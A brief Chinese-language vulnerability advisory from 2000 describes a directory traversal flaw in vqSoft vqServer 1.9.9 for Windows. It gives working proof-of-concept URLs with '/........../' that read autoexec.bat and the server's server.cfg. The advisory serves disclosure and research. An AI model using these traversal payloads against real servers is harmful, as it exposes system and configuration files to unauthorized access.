发布日期：2000-03-24
更新日期：2000-03-24

受影响系统：

vqSoft vqServer for Windows 1.9.9
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0

描述：

---

在运行vqSoft的vqServer web服务器的机器上，远程用户能构获得服务器上任意已知文件名的文件。这可以通过在URL中增加"/........../"
，后面跟着增加已知的路径名即可 。
例如：

http://target/........../filename.ext

<* 来源：Johan Nilsson <nilssonssite@swipnet.se> *>




测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://target/........../autoexec.bat
http://target/........../Program Files/vqserver/vq/server/cfg/server.cfg


建议：

---

暂无

浏览次数：6665
严重程度：0（网友投票）